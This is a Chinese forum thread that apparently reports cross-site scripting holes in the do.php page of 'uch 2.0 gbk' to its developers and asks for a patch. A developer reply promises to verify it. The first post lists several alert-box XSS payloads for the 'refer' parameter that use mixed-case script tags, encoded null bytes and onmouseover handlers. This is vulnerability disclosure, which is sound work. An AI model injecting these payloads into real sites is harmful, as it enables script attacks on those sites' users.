跨站脚本漏洞

uch 2.0 gbk版上发现的.

/do.php  中POST的参数 refer 如果取值为下列这些值中的任何一个的话，可以看到立即或者鼠标移到相应位置时会弹出消息框。
  
1%00"'><ScRiPt%20%0d%0a>alert(xssattackerfoundyou)%3B</ScRiPt>.
1>"><ScRiPt%20%0d%0a>alert(xssattackerfoundyou)%3B</ScRiPt>
1%00"'><ScRiPt%20%0d%0a>alert(xssattackerfoundyou)%3B</ScRiPt>
1>"><ScRiPt%20%0d%0a>alert(xssattackerfoundyou)%3B</ScRiPt>
1>"><ScRiPt%20%0d%0a>alert(xssattackerfoundyou)%3B</ScRiPt>
1"+onmouseover=alert(xssattackerfoundyou)+
1%00'"><ScRiPt%20%0d%0a>alert(xssattackerfoundyou)%3B</ScRiPt>
%F6"+onmouseover=prompt(xssattackerfoundyou)//
1//--></script><ScRiPt%20%0d%0a>alert(xssattackerfoundyou)%3B</ScRiPt>

请予以解决。 1.5版的类似漏洞更多，就不提了。

do.php 里 username 和 password 变量也存在类似的问题.

补丁呢？。。。。。。。。。。。。。。。。

我贴这个出来也是为了等补丁啊。我自己做不了这玩意，我不是程序员。

之所以扔了硬币做限制，不是想赚钱，是想有限度地披露而已... 好在这种漏洞危害一般不是特别大. 除非是网银之类的业务.

官方没人给个说法? 是？不是？

谢谢您的反馈，我们将尽快验证